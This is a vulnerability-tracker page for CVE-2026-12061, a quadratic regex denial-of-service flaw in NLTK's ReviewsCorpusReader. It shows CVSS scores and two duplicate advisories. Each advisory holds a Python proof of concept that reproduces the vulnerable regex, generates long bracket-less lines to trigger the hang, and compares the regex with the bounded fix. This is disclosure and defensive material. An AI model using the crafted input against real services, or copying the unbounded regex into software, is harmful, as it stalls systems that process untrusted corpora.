CVE-2026-12061

highpriority · track · 0US
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
— EPSS
CVSS 7.5 · high
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

No description recorded.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

weaknesses

The CWE weakness classes this flaw belongs to.

03

affected products (1)

Products and version ranges known to be affected.

04

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-fg7f-2386-8897Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex2026-07-31ghsa · osvUS

    ### Summary `ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. ### Details The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes. ### PoC ``` import multiprocessing as mp import re import time # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 --- FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]") # --- Bounded variant from the fix (PR #3583): cap the per-label word run. # A generous bound (real feature labels are short noun phrases) makes the # run linear while never affecting legitimate corpora. --- WORD_BOUND = 50 FEATURES_FIXED = re.compile( r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND ) TIMEOUT = 20.0 # seconds, per measurement SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line def _bad_line(n_words): """A long line of plain words with NO trailing bracketed annotation.""" return ("word " * n_words).rstrip() def _worker(pattern_str, line, q): pat = re.compile(pattern_str) t0 = time.perf_counter() pat.findall(line) q.put(time.perf_counter() - t0) def timed_findall(pattern, line, timeout=TIMEOUT): """Run pattern.findall(line) in a killable process; return seconds or None (timeout).""" q = mp.Queue() p = mp.Process(target=_worker, args=(pattern.pattern, line, q)) p.start() p.join(timeout) if p.is_alive(): p.terminate() p.join() return None return q.get() if not q.empty() else None def bench(label, pattern): print(f"\n[{label}] pattern: {pattern.pattern}") print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}") prev = None for n in SIZES: line = _bad_line(n) t = timed_findall(pattern, line) if t is None: print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}") prev = None else: ratio = f"{t/prev:.1f}x" if prev else "--" print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}") prev = t def parity_check(): """The bound must NOT change extraction on a realistic annotated line.""" real = ( "the picture quality[+2] and battery life[+1] are great but " "the lens cap[-1] feels cheap and the menu system[-2] is slow" ) a = FEATURES_VULN.findall(real) b = FEATURES_FIXED.findall(real) print("\n[parity] realistic annotated line — extraction must be identical") print(f" vulnerable regex -> {a}") print(f" bounded regex -> {b}") print(f" identical: {a == b}") return a == b def main(): print("=" * 66) print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)") print("=" * 66) print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}") bench("VULNERABLE reviews.py L70-71", FEATURES_VULN) bench("BOUNDED fix #3583", FEATURES_FIXED) same = parity_check() print("\n" + "=" * 66) print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS") print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms") print(f" Extraction parity on real annotations preserved: {same}") print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().") print("=" * 66) if __name__ == "__main__": main() ``` ### Impact Denial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

  • PYSEC-2026-3582Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex2026-08-04vendor · osvUS

    ### Summary `ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. ### Details The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes. ### PoC ``` import multiprocessing as mp import re import time # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 --- FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]") # --- Bounded variant from the fix (PR #3583): cap the per-label word run. # A generous bound (real feature labels are short noun phrases) makes the # run linear while never affecting legitimate corpora. --- WORD_BOUND = 50 FEATURES_FIXED = re.compile( r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND ) TIMEOUT = 20.0 # seconds, per measurement SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line def _bad_line(n_words): """A long line of plain words with NO trailing bracketed annotation.""" return ("word " * n_words).rstrip() def _worker(pattern_str, line, q): pat = re.compile(pattern_str) t0 = time.perf_counter() pat.findall(line) q.put(time.perf_counter() - t0) def timed_findall(pattern, line, timeout=TIMEOUT): """Run pattern.findall(line) in a killable process; return seconds or None (timeout).""" q = mp.Queue() p = mp.Process(target=_worker, args=(pattern.pattern, line, q)) p.start() p.join(timeout) if p.is_alive(): p.terminate() p.join() return None return q.get() if not q.empty() else None def bench(label, pattern): print(f"\n[{label}] pattern: {pattern.pattern}") print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}") prev = None for n in SIZES: line = _bad_line(n) t = timed_findall(pattern, line) if t is None: print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}") prev = None else: ratio = f"{t/prev:.1f}x" if prev else "--" print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}") prev = t def parity_check(): """The bound must NOT change extraction on a realistic annotated line.""" real = ( "the picture quality[+2] and battery life[+1] are great but " "the lens cap[-1] feels cheap and the menu system[-2] is slow" ) a = FEATURES_VULN.findall(real) b = FEATURES_FIXED.findall(real) print("\n[parity] realistic annotated line — extraction must be identical") print(f" vulnerable regex -> {a}") print(f" bounded regex -> {b}") print(f" identical: {a == b}") return a == b def main(): print("=" * 66) print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)") print("=" * 66) print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}") bench("VULNERABLE reviews.py L70-71", FEATURES_VULN) bench("BOUNDED fix #3583", FEATURES_FIXED) same = parity_check() print("\n" + "=" * 66) print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS") print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms") print(f" Extraction parity on real annotations preserved: {same}") print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().") print("=" * 66) if __name__ == "__main__": main() ``` ### Impact Denial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

05

also known as (2)

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06

sources

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published —modified —
07

references

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